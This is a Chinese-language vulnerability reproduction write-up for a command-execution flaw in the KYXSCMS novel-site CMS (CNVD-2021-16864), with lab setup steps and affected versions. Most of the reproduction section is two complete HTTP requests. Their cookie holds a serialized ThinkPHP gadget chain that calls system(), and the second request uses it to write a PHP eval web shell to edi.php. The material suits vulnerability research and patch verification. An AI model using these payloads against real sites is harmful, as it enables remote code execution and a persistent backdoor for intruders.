kyxscms框架命令执行

kyxscms框架命令执行（CNVD-2021-16864）

KYXSCMS提供一个轻量级小说网站解决方案，基于ThinkPHP5.1+MySQL的技术开发。

KYXSCMS,灵活，方便，人性化设计简单易用是最大的特色，是快速架设小说类网站首选，只需5分钟即可建立一个海量小说的行业网站，批量采集目标网站数据或使用数据联盟，即可自动采集获取大量数据。内置标签模版，即使不懂代码的前端开发者也可以快速建立一个漂亮的小说网站。

---

漏洞环境

安装phpstudy

然后下载kyxscms1.3.0的源码

http://bbs.kyxscms.com/?t/1.html%E3%80%82

根目录设置为源码的存放位

然后在网站管理面添加伪静态

然后就可以打开网站,出现安装向导代表成功

---

影响版本

kyxscms < 1.3.0

thinkphp<5.1.33

---

漏洞复现

我们根据向导下一步，在数据库设置的时候密码为phpshtudy里数据库的密码.

数据库生成后进入前台即可，

首先我们注册账号，然后登陆进去抓包，poc为下

GET /user/recentread HTTP/1.1
Host: kyxscms:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=4enrahv5gfh6gp0rkco864bh6j; lf___forward__=%2Fapi%2Fcrontab%2Findex; lf_user_auth=think%3A%7B%22uid%22%3A%221%22%2C%22username%22%3A%22blank%22%7D; lf_user_auth_sign=e93ece5c38646339207bed9799c931170e9959ff;lf_read_log=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A命令语句的长度%3A%22命令执行语句%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D%7D
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

命令执行成功

写入shell

GET /user/index/index.html HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Phpstorm-11743061=7c75807e-0da5-4430-8229-b17234f7ff48; Webstorm-f8f6f435=146833d1-7a32-4b5f-b3ec-2e51c5287eb1; lf___forward__=%2F; lf_user_auth=think%3A%7B%22uid%22%3A%221%22%2C%22username%22%3A%22blank%22%7D; lf_user_auth_sign=e93ece5c38646339207bed9799c931170e9959ff;lf_read_log=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A42%3A%22echo+%22%3C%3Fphp+%40eval%28%24_POST%5Bedi%5D%29%3B%3F%3E%22%3Eedi.php%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D%7D
Upgrade-Insecure-Requests: 1

上传利用成功